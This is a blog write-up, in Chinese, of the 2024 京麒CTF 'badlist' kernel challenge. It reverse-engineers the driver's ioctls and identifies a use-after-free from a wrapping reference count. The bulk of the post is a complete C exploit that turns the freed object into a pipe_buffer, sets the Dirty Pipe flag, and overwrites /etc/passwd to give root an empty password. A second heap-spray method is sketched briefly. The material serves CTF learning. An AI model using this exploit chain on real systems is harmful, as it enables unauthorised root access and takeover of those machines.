2024 京麒CTF badlist wp

好久没kernel了,摸一道

逆向

  • 数据结构:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    struct badlist_args {
    uint8_t idx_src;
    uint8_t idx_dst;
    uint16_t id;
    char* content;
    };

    struct badlist_list {
    struct badlist_chunk* next;
    struct badlist_chunk* prev;
    uint8_t idx;
    };

    struct badlist_chunk {
    struct badlist_chunk* next;
    struct badlist_chunk* prev;
    struct badlist_info* info;
    };

    struct badlist_info {
    uint16_t id;
    uint16_t count;
    char* content[0x1fc];
    };
  • 功能:

    • 0x1337:create chunk
    • 0x1338:delete chunk
    • 0x1339:link chunk
    • 0x133a:create list
    • 0x133b:delete list
    • 0x133c:show chunk
  • 漏洞点:count可以循环,kfree info后不会把info指针置空,可以uaf

方法一

思路

badlist_info的大小是0x400,用pipe_buffer,也就会这个了

  • free的page会放进tmp_page循环使用
    • 先write一页再全部read,free的page变成tmp_page
    • 再write下一个pipe_buffer就会使用tmp_page,利用第二个pipe_buffer获得page和ops指针
    • 主要是为了解决badlist_info前四字节的id和count未知的问题
  • dirty pipe
    • 改/etc/passwd,把root设置为无密码

exp

自己搓的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include "mykernel.h"

#define DEV_PATH "/dev/badlist"
#define CREATE_CHUNK_MAGIC 0x1337
#define DELETE_CHUNK_MAGIC 0x1338
#define LINK_CHUNK_MAGIC 0x1339
#define CREATE_LIST_MAGIC 0x133a
#define DELETE_LIST_MAGIC 0x133b
#define USE_CHUNK_MAGIC 0x133c

#define TARGET_FILE "/etc/passwd"


int dev_fd;
char buffer[0x2000];


typedef struct badlist_args {
uint8_t idx_src;
uint8_t idx_dst;
uint16_t id;
char * content;
} Badlist_Args;


int create_chunk(uint8_t idx, uint16_t id, char * content) {
Badlist_Args args = {
.idx_src = idx,
.id = id << 8,
.content = content,
};
return ioctl(dev_fd, CREATE_CHUNK_MAGIC, &args);
}

int delete_chunk(uint8_t idx, uint16_t id) {
Badlist_Args args = {
.idx_src = idx,
.id = id << 8,
};
return ioctl(dev_fd, DELETE_CHUNK_MAGIC, &args);
}

int link_chunk(uint8_t idx_src, uint8_t idx_dst, uint16_t id) {
Badlist_Args args = {
.idx_src = idx_src,
.idx_dst = idx_dst,
.id = id << 8,
};
return ioctl(dev_fd, LINK_CHUNK_MAGIC, &args);
}

int create_list(uint8_t idx) {
Badlist_Args args = {
.idx_src = idx,
};
return ioctl(dev_fd, CREATE_LIST_MAGIC, &args);
}

int delete_list(uint8_t idx) {
Badlist_Args args = {
.idx_src = idx,
};
return ioctl(dev_fd, DELETE_LIST_MAGIC, &args);
}

int use_chunk(uint8_t idx, uint16_t id, char * content) {
Badlist_Args args = {
.idx_src = idx,
.id = id << 8,
.content = content,
};
return ioctl(dev_fd, USE_CHUNK_MAGIC, &args);
}


int main() {
save_status();

dev_fd = open(DEV_PATH, O_RDWR);
if(dev_fd < -1) {
err_exit("Open Device");
}

create_list(0);
create_chunk(0, 1, "testtest");
for(unsigned int i = 0; i < 0xffff; i++) {
use_chunk(0, 1, buffer);
}
use_chunk(0, 2, buffer);

int pipe_fd[2];
pipe(pipe_fd);
write(pipe_fd[1], buffer, 0x1000);
read(pipe_fd[0], buffer, 0x1000);
write(pipe_fd[1], buffer, 1);

int target_fd = open(TARGET_FILE, O_RDONLY);
loff_t offset = 0;
if(target_fd < 0) {
err_exit("Open Target File");
}
splice(target_fd, &offset, pipe_fd[1], NULL, 1, 0);

uint16_t pipe_id = 0;

for(uint16_t i = 0; i < (uint16_t)0xffff; i++) {
int ret = use_chunk(0, i, &buffer[4]);
pipe_id = i;
if(!ret) break;
}

*(uint16_t *)buffer = pipe_id;

struct pipe_buffer *fake_buffer = (struct pipe_buffer *)&buffer[0x28 * 2];

printf("\033[32m\033[1m[+] pipe_buffer->page = \033[0m%llx\n", fake_buffer->page);
printf("\033[32m\033[1m[+] pipe_buffer->ops = \033[0m%llx\n", fake_buffer->ops);

uint16_t fake_cnt = *(uint16_t *)&buffer[0x28 + 2];
for(uint16_t i = fake_cnt - 1; i < (uint16_t)0xffff; i++) {
use_chunk(0, pipe_id, &buffer[4]);
}

delete_chunk(0, pipe_id);
fake_buffer->flags = 0x10;
fake_buffer->len = 0;
create_chunk(0, pipe_id, &buffer[4]);

char *root_passwd = "root::0:0:root:/root:/bin/sh \n";

write(pipe_fd[1], root_passwd, strlen(root_passwd));

close(dev_fd);
close(pipe_fd[0]);
close(pipe_fd[1]);
close(target_fd);
return 0;
}

方法二

官方做法

思路

  • 用link功能(其实是insert ( •̀ ω •́ ) )复制几份info
  • double free后分配给pipe_buffer和msg_msg
  • 利用msg_msg造dirty pipe

优雅的堆喷~


2024 京麒CTF badlist wp
http://akaieurus.github.io/2024/08/16/jqctf2024-badlist/
作者
Eurus
发布于
2024年8月16日
许可协议